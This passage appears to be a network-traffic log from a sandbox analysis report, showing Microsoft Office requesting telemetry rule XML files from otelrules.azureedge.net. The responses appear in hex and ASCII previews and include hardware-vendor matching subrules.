2024-10-29 14:27:10 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:10 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:10 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23ba7a24-801e-0015-5af3-24f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142710Z-17c5cb586f6fqqst87nqkbsx1c0000000540000000003mt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:10 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:10 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142710Z-16849878b787wpl5wqkt5731b400000007e00000000085g7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:10 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:10 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142710Z-16849878b78qfbkc5yywmsbg0c00000006cg000000004rk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:10 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:10 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:10 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142710Z-16849878b78bcpfn2qf7sm6hsn000000087g00000000ep97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:10 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:11 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142711Z-16849878b785jrf8dn0d2rczaw00000007w0000000004qew x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:11 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e5972945-801e-007b-45f3-24e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142711Z-15b8d89586f8nxpt6ys645x5v000000007tg00000000ap24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:11 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142711Z-17c5cb586f64v7xsc2ahm8gsgw00000001gg00000000e7es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:11 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:11 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 2582be6d-e01e-0052-17be-29d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142711Z-r197bdfb6b4bq7nf8dgr5rzeq400000001xg000000009vz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:11 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:11 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:11 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142711Z-16849878b78bjkl8dpep89pbgg00000005bg000000009xd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:11 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:12 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142712Z-16849878b78qwx7pmw9x5fub1c00000004v0000000006ad0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:12 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142712Z-16849878b78xblwksrnkakc08w00000005sg00000000q011 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:12 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
